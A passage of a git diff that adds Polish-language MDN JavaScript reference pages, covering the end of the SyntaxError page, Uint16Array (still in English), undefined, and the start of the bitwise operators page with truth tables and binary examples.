href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.</dd> + <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt> + <dd>Nazwa błędu. Odziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt> + <dd>Ścieżka do pliku zawierającego błąd. Odziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt> + <dd>Numer zawierającej błąd linii w pliku. Odziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt> + <dd>Numer zawierającej błąd kolumny w linii kodu. Odziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt> + <dd>Stos wywołań. Odziedziczone z {{jsxref("Error")}}.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Obsługa_SyntaxError">Obsługa <code>SyntaxError</code></h3> + +<pre class="brush: js">try { + eval('hoo bar'); +} catch (e) { + console.error(e instanceof SyntaxError); + console.error(e.message); + console.error(e.name); + console.error(e.fileName); + console.error(e.lineNumber); + console.error(e.columnNumber); + console.error(e.stack); +} +</pre> + +<h3 id="Tworzenie_SyntaxError">Tworzenie <code>SyntaxError</code></h3> + +<pre class="brush: js">try { + throw new SyntaxError('Hej', 'jakisPlik.js', 10); +} catch (e) { + console.error(e instanceof SyntaxError); // true + console.error(e.message); // Hej + console.error(e.name); // SyntaxError + console.error(e.fileName); // jakisPlik.js + console.error(e.lineNumber); // 10 + console.error(e.columnNumber); // 0 + console.error(e.stack); // @debugger eval code:3:9 +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.builtins.SyntaxError")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/uint16array/index.html b/files/pl/web/javascript/referencje/obiekty/uint16array/index.html new file mode 100644 index 0000000000..ef744c5848 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/uint16array/index.html @@ -0,0 +1,224 @@ +--- +title: Uint16Array +slug: Web/JavaScript/Referencje/Obiekty/Uint16Array +translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array +--- +<div>{{JSRef("Global_Objects", "TypedArray", "Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array")}}</div> + +<h2 id="Summary">Summary</h2> + +<p>The <strong><code>Uint16Array</code></strong> typed array represents an array of 16-bit unsigned integers in the platform byte order. If control over byte order is needed, use {{jsxref("DataView")}} instead. The contents are initialized to <code>0</code>. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Uint16Array(length); +Uint16Array(typedArray); +Uint16Array(object); +Uint16Array(buffer [, byteOffset [, length]]);</pre> + +<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}</dt> + <dd>Returns a number value of the element size. <code>2</code> in the case of an <code>Uint16Array</code>.</dd> + <dt>Uint16Array.length</dt> + <dd>Length property whose value is 3.</dd> + <dt>{{jsxref("TypedArray.name", "Uint16Array.name")}}</dt> + <dd>Returns the string value of the constructor name. In the case of the <code>Uint16Array</code> type: "Uint16Array".</dd> + <dt>{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}</dt> + <dd>Prototype for the <em>TypedArray</em> objects.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{jsxref("TypedArray.from", "Uint16Array.from()")}}</dt> + <dd>Creates a new <code>Uint16Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd> + <dt>{{jsxref("TypedArray.of", "Uint16Array.of()")}}</dt> + <dd>Creates a new <code>Uint16Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd> +</dl> + +<h2 id="Boolean_instances" name="Boolean_instances"><code>Uint16Array</code> prototype</h2> + +<p>All <code>Uint16Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p> + +<h3 id="Properties_2">Properties</h3> + +<dl> + <dt><code>Uint16Array.prototype.constructor</code></dt> + <dd>Returns the function that created an instance's prototype. This is the <code>Uint16Array</code> constructor by default.</dd> + <dt>{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}</dt> + <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Uint16Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd> + <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}</dt> + <dd>Returns the length (in bytes) of the <code>Uint16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd> + <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}</dt> + <dd>Returns the offset (in bytes) of the <code>Uint16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd> + <dt>{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}</dt> + <dd>Returns the number of elements hold in the <code>Uint16Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd> +</dl> + +<h3 id="Methods_2">Methods</h3> + +<dl> + <dt>{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}</dt> + <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd> + <dt>{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}</dt> + <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd> + <dt>{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}</dt> + <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd> + <dt>{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}</dt> + <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd> + <dt>{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}</dt> + <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd> + <dt>{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}</dt> + <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd> + <dt>{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}</dt> + <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd> + <dt>{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}</dt> + <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd> + <dt>{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}} {{experimental_inline}}</dt> + <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd> + <dt>{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}</dt> + <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd> + <dt>{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}</dt> + <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd> + <dt>{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}</dt> + <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd> + <dt>{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}</dt> + <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd> + <dt>{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}</dt> + <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd> + <dt>{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt> + <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.</dd> + <dt>{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}</dt> + <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd> + <dt>{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}</dt> + <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd> + <dt>{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}</dt> + <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd> + <dt>{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}</dt> + <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd> + <dt>{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}</dt> + <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd> + <dt>{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}</dt> + <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd> + <dt>{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}</dt> + <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd> + <dt>{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}</dt> + <dd>Returns a new <code>Uint16Array</code> from the given start and end element index.</dd> + <dt>{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}</dt> + <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd> + <dt>{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}</dt> + <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd> + <dt>{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}</dt> + <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd> + <dt>{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}</dt> + <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: js">// From a length +var uint16 = new Uint16Array(2); +uint16[0] = 42; +console.log(uint16[0]); // 42 +console.log(uint16.length); // 2 +console.log(uint16.BYTES_PER_ELEMENT); // 2 + +// From an array +var arr = new Uint16Array([21,31]); +console.log(arr[1]); // 31 + +// From another TypedArray +var x = new Uint16Array([21, 31]); +var y = new Uint16Array(x); +console.log(y[0]); // 21 + +// From an ArrayBuffer +var buffer = new ArrayBuffer(8); +var z = new Uint16Array(buffer, 0, 4); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td><a href="https://www.khronos.org/registry/typedarray/specs/latest/#7">Typed Array Specification</a></td> + <td>Obsolete</td> + <td><span><span>Superseded by ECMAScript 6.</span></span></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#table-45', 'TypedArray constructors')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition in an ECMA standard.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>7.0</td> + <td>{{ CompatGeckoDesktop("2") }}</td> + <td>10</td> + <td>11.6</td> + <td>5.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.0</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatGeckoMobile("2") }}</td> + <td>10</td> + <td>11.6</td> + <td>4.2</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li> + <li>{{jsxref("ArrayBuffer")}}</li> + <li>{{jsxref("DataView")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/undefined/index.html b/files/pl/web/javascript/referencje/obiekty/undefined/index.html new file mode 100644 index 0000000000..9b9460985f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/undefined/index.html @@ -0,0 +1,40 @@ +--- +title: undefined +slug: Web/JavaScript/Referencje/Obiekty/undefined +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/undefined +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wartość niezdefiniowana.</p> + +<p>{{js_property_attributes(0,0,0)}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>undefined</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>undefined</code> jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.</p> + +<p>Zmienna, której nie przypisano wartości, jest typu undefined. Metoda lub wyrażenie zwraca <code>undefined</code>, jeśli wyliczana zmienna nie posiada wartości.</p> + +<p>Można wykorzystać <code>undefined</code> do zbadania, czy dana zmienna ma wartość. W poniższym kodzie zmienna <code>x</code> nie jest zdefiniowana i wyrażenie <code>if</code> ma wartość "prawda" (true).</p> + +<pre class="brush: js">var x; +if (x === undefined) { + // polecenia tu umieszczone są wykonywane +} else { + // polecenia tu umieszczone nie są wykonywane +} +</pre> + +<p><code>undefined</code> jest także wartością prostą.</p> diff --git a/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html b/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html new file mode 100644 index 0000000000..c394b726d0 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html @@ -0,0 +1,558 @@ +--- +title: Operatory bitowe +slug: Web/JavaScript/Referencje/Operatory/Bitwise_Operators +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>Operatory bitowe</strong> traktuję swoje operandy jako sekwencje 32 bitów (zer i jedynek), bardziej niż jako dziesiętne, szesnastkowe czy ósemkowe <a href="pl/docs/Web/JavaScript/Referencje/Obiekty/Number">wartości liczbowe</a>. Przykładowo, reprezentacją binarną dziesiętnej liczby 9 jest 1001. Operatory bitowe dokonują operacji na takich właśnie reprezentacjach bitowych, zwracają jednak standardowe JavaScriptowe wartości liczbowe.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}</div> + + + +<p>Poniższa tabela zawiera podsumowanie operatorów bitowych w języku JavaScript:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Operator</th> + <th>Użycie</th> + <th>Opis</th> + </tr> + <tr> + <td><a href="#Bitowe_AND">Bitowe AND</a></td> + <td><code>a & b</code></td> + <td>Zwraca <code>1</code> na każdej pozycji bitowej, dla której odpowiadające jej bity obydwu operandów mają wartość <code>1</code>.</td> + </tr> + <tr> + <td><a href="#Bitowe_OR">Bitowe OR</a></td> + <td><code>a | b</code></td> + <td>Zwraca <code>1</code> na każdej pozycji bitowej, dla której jeden lub oba odpowiadające jej bity operandów mają wartość <code>1</code>.</td> + </tr> + <tr> + <td><a href="#Bitowe_XOR">Bitowe XOR</a></td> + <td><code>a ^ b</code></td> + <td>Zwraca <code>1</code> na każdej pozycji bitowej, dla której dokładnie jeden bit spośród odpowiadających jej bitów operandów ma wartość jeden.</td> + </tr> + <tr> + <td><a href="#Bitowe_NOT">Bitowe NOT</a></td> + <td><code>~ a</code></td> + <td>Neguje bity swojego operandu.</td> + </tr> + <tr> + <td><a href="#Przesuniecie_w_lewo">Przesunięcie w lewo</a></td> + <td><code>a << b</code></td> + <td>Przesuwa <code>a</code> w binarnej reprezentacji o <code>b</code> bitów w lewo (gdzie <code>b</code> < 32), dodając zera z prawej strony.</td> + </tr> + <tr> + <td><a href="#Przesuniecie_w_prawo_z_propagacja_znaku">Przesunięcie w prawo z propagacją znaku</a></td> + <td><code>a >> b</code></td> + <td>Przesuwa <code>a</code> w binarnej reprezentacji o <code>b</code> bitów w prawo (gdzie <code>b</code> < 32), odrzucając <code>b</code> bitów z prawej strony.</td> + </tr> + <tr> + <td><a href="#Przesuniecie_w_prawo_z_dopelnieniem_zerami">Przesunięcie w prawo z dopełnieniem zerami</a></td> + <td><code>a >>> b</code> </td> + <td>Przesuwa <code>a</code> w binarnej reprezentacji o <code>b</code> bitów w prawo (gdzie <code>b</code> < 32), odrzucając <code>b</code> bitów z prawej strony i uzupełniając sekwencję zerami z lewej strony.</td> + </tr> + </tbody> +</table> + +<h2 id="32-bitowe_wartości_całkowite_ze_znakiem">32-bitowe wartości całkowite ze znakiem</h2> + +<p>Operandy wszystkich operatorów bitowych są konwertowane do 32-bitowych wartości całkowitych w dwójkowym <a href="https://en.wikipedia.org/wiki/Method_of_complements">kodzie uzupełnieniowym</a>, z wyjątkiem przesunięcia w prawo z dopełnieniem zerami, które zwraca 32-bitową wartość całkowitą bez znaku. Dwójkowy kod uzupełnieniowy oznacza, że liczba przeciwna danej wartości (na przykład 5 i -5) ma wszystkie bity zanegowane w stosunku do tejże wartości (bitowe NOT liczby, znane również jako jedynkowe dopełnienie liczby) plus jeden. Przykładowo, dziesiętna liczba 314 ma następującą postać dwójkową:</p> + +<pre class="brush: js">00000000000000000000000100111010 +</pre> + +<p>Reprezentacja binarna <code>~314</code>, czyli jedynkowe dopełnienie <code>314</code>:</p> + +<pre class="brush: js">11111111111111111111111011000101 +</pre> + +<p><code>-314</code> ma ostatecznie następującą postać, będącą dwójkowym dopełnieniem <code>314</code>:</p> + +<pre class="brush: js">11111111111111111111111011000110 +</pre> + +<p>Dopełnienie dwójkowe gwarantuje, że skrajny lewy bit będzie zerem dla liczby dodatniej i jedynką dla liczby ujemnej – bit ten zwany jest stąd <em>bitem znaku</em>.</p> + +<p>Liczba <code>0</code> jest wartością całkowitą, złożoną w całości z bitów o wartości <code>0</code>.</p> + +<pre class="brush: js">0 (base 10) = 00000000000000000000000000000000 (base 2) +</pre> + +<p>Liczba <code>-1</code> jest wartością całkowitą, złożoną z samych bitów o wartości <code>1</code>.</p> + +<pre class="brush: js">-1 (base 10) = 11111111111111111111111111111111 (base 2) +</pre> + +<p>Liczba <code>-2147483648</code> (reprezentacja szesnastkowa: <code>-0x80000000</code>) jest wartością całkowitą, złożoną z samych bitów o wartości <code>0</code>, z wyjątkiem pierwszego (znajdującego się najbardziej z lewej strony) bitu.</p> + +<pre class="brush: js">-2147483648 (base 10) = 10000000000000000000000000000000 (base 2) +</pre> + +<p>Liczba <code>2147483647</code> (rprezentacja szesnastkowa: <code>0x7fffffff</code>) jest wartością całkowitą, złożoną jedynie z bitów o wartości 1, z wyjątkiem pierwszego (skrajnie lewego) bitu.</p> + +<pre class="brush: js">2147483647 (base 10) = 01111111111111111111111111111111 (base 2) +</pre> + +<p>Liczby <code>-2147483648</code> i <code>2147483647</code> stanowią odpowiednio minimalną i maksymalną wartość całkowitą, którą można zapisać przy użyciu 32-bitowej liczby ze znakiem.</p> + +<h2 id="Bitowe_operatory_logiczne">Bitowe operatory logiczne</h2> + +<p>Idea działania bitowych operatorów logicznych jest następująca:</p> + +<ul> + <li>Operandy są konwertowane do 32-bitowych wartości całkowitych, wyrażanych jako sekwencja bitów (zer i jedynek). Dla liczb o więcej niż 32 bitach odrzuca się najbardziej znaczące bity. Przykładowo, następująca wartość całkowita zajmująca więcej niż 32 bity będzie przekonwertowana do 32-bitowej wartości w następujący sposób: + <pre class="brush: js">Przed: 11100110111110100000000000000110000000000001 +Po: 10100000000000000110000000000001</pre> + </li> + <li>Każdy z bitów pierwszego operandu parowany jest z odpowiadającym mu bitem drugiego operandu: pierwszy z pierwszym, drugi z drugim i tak dalej (idąc od prawej strony).</li> + <li>Operator jest stosowany na każdej parze bitów, a wynik jest tworzony bitowo.</li> +</ul> + +<h3 id="Bitowe_AND_2"><a id="Bitowe_AND" name="Bitowe_AND">& (Bitowe AND)</a></h3> + +<p>Stosuje operację AND (koniunkcję) na każdej parze bitów. <code>a</code> AND <code>b</code> daje <code>1</code> wtedy i tylko wtedy, gdy zarówno <code>a</code>, jak i <code>b</code> będą miały wartość <code>1</code>. Tablica prawdy dla operacji AND przedstawiona jest poniżej:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">b</td> + <td class="header">a AND b</td> + </tr> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>1</td> + <td>1</td> + <td>1</td> + </tr> + </tbody> +</table> + +<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2) + 14 (base 10) = 00000000000000000000000000001110 (base 2) + -------------------------------- +14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) +</pre> + +<p>Bitowa koniunkcja (AND) dowolnej wartości <code>x</code> i <code>0</code> zawsze daje <code>0</code>.</p> + +<h3 id="Bitowe_OR_2"><a id="Bitowe_OR" name="Bitowe_OR">| (Bitowe OR)</a></h3> + +<p>Stosuje operację OR (alternatywę) na każdej parze bitów. <code>a</code> OR <code>b</code> daje <code>1</code> wtedy i tylko wtedy, gdy <code>a</code> lub <code>b</code> ma wartość <code>1</code>. Tablica prawdy dla operacji OR przedstawina jest poniżej:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">b</td> + <td class="header">a OR b</td> + </tr> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>1</td> + <td>1</td> + </tr> + </tbody> +</table> + +<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2) + 14 (base 10) = 00000000000000000000000000001110 (base 2) + -------------------------------- +14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10) +</pre> + +<p>Zastosowanie alternatywy bitowej (OR) dowlonej wartości <code>x</code> i <code>0</code> zawsze daje <code>x</code>.</p> + +<h3 id="Bitowe_XOR_2"><a id="Bitowe_XOR" name="Bitowe_XOR">^ (Bitowe XOR)</a></h3> + +<p>Stosuje bitowe XOR (alternatywę wykluczającą) na każdej parze bitów. <code>a</code> XOR <code>b</code> daje <code>1</code> wtedy i tylko wtedy, gdy <code>a</code> i<strong> </strong><code>b</code> mają różne wartości. Tablica prawdy dla operacji XOR przedstawiona jest poniżej:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">b</td> + <td class="header">a XOR b</td> + </tr> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>1</td> + <td>0</td> + </tr> + </tbody> +</table> + +<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2) + 14 (base 10) = 00000000000000000000000000001110 (base 2) + -------------------------------- +14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10) +</pre> + +<p>Zastosowanie bitowej alternatywy wykluczającej (XOR) dowolnej wartości <code>x</code> i <code>0</code> daje <code>x</code>.</p> + +<h3 id="Bitowe_NOT_2"><a id="Bitowe_NOT" name="Bitowe_NOT">~ (Bitowe NOT)</a></h3> + +<p>Stosuje operator NOT (negację) na każdym bicie. NOT <code>a</code> zwraca odwróconą wartość (inaczej zwaną dopełnieniem jedynkowym) <code>a</code>. Tablica prawdy operacji NOT przedstawiona jest poniżej:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">NOT a</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + </tr> + </tbody> +</table> + +<pre class="brush: js"> 9 (base 10) = 00000000000000000000000000001001 (base 2) + -------------------------------- +~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10) +</pre> + +<p>Bitowa negacja (NOT) dowolnej wartości <code>x</code> daje <code>-(x + 1)</code>. Przykładowo, <code>~-5</code> daje <code>4</code>.</p> + +<p>Zauważmy, że z powodu używania 32-bitowej reprezentacji liczb, zarówno <code>~-1</code>, jak i <code>~4294967295</code> (2<sup>32</sup>-1) daje wynik <code>0</code>.</p> + +<h2 id="Bitowe_operatory_przesunięcia">Bitowe operatory przesunięcia</h2> + +<p>Bitowe operatory przesunięcia przyjmują dwa operandy: pierwszy jest wartością do przesunięcia, a drugi wskazuje liczbę pozycji bitowych, o którą pierszy operand ma być przesunięty. Kierunek operacji przesunięcia jest zdefiniowany przez użycie danego operatora.</p> + +<p>Operatory przesunięcia konwertują swoje operandy do 32-bitowych wartości całkowitych w porządku big-endian (znanym też pod nazwą <em>grubokońcowość</em>) i zwraca wynik tego samego typu, co lewy operand. Użytych będzie przy tym jedynie pięć najniższych bitów prawego operandu.</p> + +<h3 id="<<_Przesunięcie_w_lewo"><a id="Przesuniecie_w_lewo" name="Przesuniecie_w_lewo"><< (Przesunięcie w lewo)</a></h3> + +<p>Operator ten przesuwa pierwszy operand o określoną liczbę bitów w lewo. Nadmiarowe bity przesunięte poza zakres z lewej strony są odrzucane. Z prawej strony sekwencja uzupełniana jest zerami.</p> + +<p>Przykładowo, <code>9 << 2</code> daje 36:</p> + +<pre class="brush: js">. 9 (base 10): 00000000000000000000000000001001 (base 2) + -------------------------------- +9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10) +</pre> + +<p>Bitowe przesuwanie dowolnej wartości <code>x</code> w lewo o <code>y</code> bitów daje <code>x * 2 ** y</code>.<br> + Tak więc, przykładowo: <code>9 << 3</code> można przetłumaczyć jako: <code>9 * (2 ** 3) = 9 * (8) =</code><code> 72</code>.</p> + +<h3 id=">>_Przesunięcie_w_prawo_z_propagacją_znaku"><a id="Przesuniecie_w_prawo_z_propagacja_znaku" name="Przesuniecie_w_prawo_z_propagacja_znaku">>> (Przesunięcie w prawo z propagacją znaku)</a></h3> + +<p>Operator ten przesuwa pierwszy operand o określoną liczbę bitów w prawo. Nadmiarowe bity przesunięte z prawej strony poza zakres są odrzucane. Sekwencja jest uzupełniana z lewej strony wartościami skrajnie lewego bitu. Kiedy skrajnie lewy bit ma taką samą wartość, jak poprzedni skrajnie lewy bit, znak się nie zmienia – stąd nazwa „z propagacją znaku”.</p> + +<p>Przykładowo, <code>9 >> 2</code> daje 2:</p> + +<pre class="brush: js">. 9 (base 10): 00000000000000000000000000001001 (base 2) + -------------------------------- +9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) +</pre> + +<p>Podobnie, <code>-9 >> 2</code> daje <code>-3</code>, ponieważ zachowywany jest znak:</p> + +<pre class="brush: js">. -9 (base 10): 11111111111111111111111111110111 (base 2) + -------------------------------- +-9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10) +</pre> + +<h3 id=">>>_Przesunięcie_w_prawo_z_dopełnieniem_zerami"><a id="Przesuniecie_w_prawo_z_dopelnieniem_zerami" name="Przesuniecie_w_prawo_z_dopelnieniem_zerami">>>> (Przesunięcie w prawo z dopełnieniem zerami)</a></h3> + +<p>Operator ten przesuwa pierwszy operand o określoną liczbę bitów w prawo. Nadmiarowe bity przesunięte poza zakres 